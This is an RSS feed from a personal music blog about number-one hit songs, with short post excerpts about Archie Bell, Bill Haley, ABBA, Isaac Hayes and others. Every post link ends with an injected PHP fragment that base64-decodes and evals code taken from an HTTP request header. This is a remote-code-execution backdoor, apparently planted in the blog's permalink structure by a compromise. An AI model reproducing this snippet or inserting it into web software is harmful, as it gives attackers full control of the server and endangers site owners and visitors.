http://www.number1project.com All the Number Ones of the 20th Century Thu, 01 Sep 2011 22:59:04 +0000 http://backend.userland.com/rss092 en In 1968, I was living in New Orleans with a new wife and a new son. Archie Bell hit the number one spot in April of 1968 with his funky toe-tapping "Tighten-Up" "He says My name is Archie Bell and I'm from Houston and I can dance just as good ... http://www.number1project.com/2011/09/01/archie-bell-the-drells-tighten-up/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I'll bet not too many people who read this have ever heard of Nick Ashford. Maybe Jerry Leiber is a name you may have heard. But both of these men wrote some of the greatest songs that we have been listening to over the past fifty years. ... http://www.number1project.com/2011/08/27/nick-ashford-and-jerry-leiber-both-gone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I have been away from this blog for way too long. I have been busy trying other things and even while doing those other things, I kept feeling the tug of number1project. Music is my main love in life (after my family and church). It is my passion. I think ... http://www.number1project.com/2011/08/22/back-in-business-the-everly-brothers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This post is a little different than others I have written. One reason I stopped posting was I felt the posts were too formulaic. I like putting all of the information in the posts, but I think I'd like this blog to be more personal.I love music, especially pop, top ... http://www.number1project.com/2010/07/17/mormon-tabernacle-choir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Let's begin this journey through the music of the 20th Century with a song that is looked on by most people as the first Rock and Roll record. I'm talking about "Rock Around the Clock" by Bill Haley and His Comets. The song hit number one on ... http://www.number1project.com/2010/07/03/bill-haley-the-start-of-rock-and-roll/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ In March of 1973, I was living in New Jersey and working a good job. I particularly remember The O'Jays and their infectious song "Love Train". There were several stations on the radio that played Top 40 music (Most coming from New York City). I would stay ... http://www.number1project.com/2010/06/23/love-train-the-ojays/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My wife writes a blog about her life which you can read here. She talked about a song she sang as a little girl called "The Little Blue Man" by Betty Johnson. This was a very cool song in the fifties and you can hear it at her blog. The ... http://www.number1project.com/2008/08/26/purple-people-eater-great-novelty-song-of-1958/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Disco was alive and well in 1977. I am probably in the minority but I loved Disco. Truth be told, I still do. There are many number one Disco songs that we will talk about, but I am sitting here watching the Olympics on TV and they played a snippet ... http://www.number1project.com/2008/08/15/disco-has-begun-car-wash/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ As you probably already know, Issac Hayes died today. This was really a shock, especially after hearing about Bernie Mac. They say tragedy comes in threes. Who's next? Hearing about Hayes made me think about my own life. He and I were the same age, almost exactly. Puts your ... http://www.number1project.com/2008/08/10/rip-isaac-hayes-and-shaft/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We finally got to the theater to see "Mamma Mia". In case you haven't seen it, it's a movie musical which is based on the play by the same name. It features all music which was sung by ABBA, the great Swedish group of the 80's. Now, I'm not here ... http://www.number1project.com/2008/08/02/abba-and-mamma-mia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/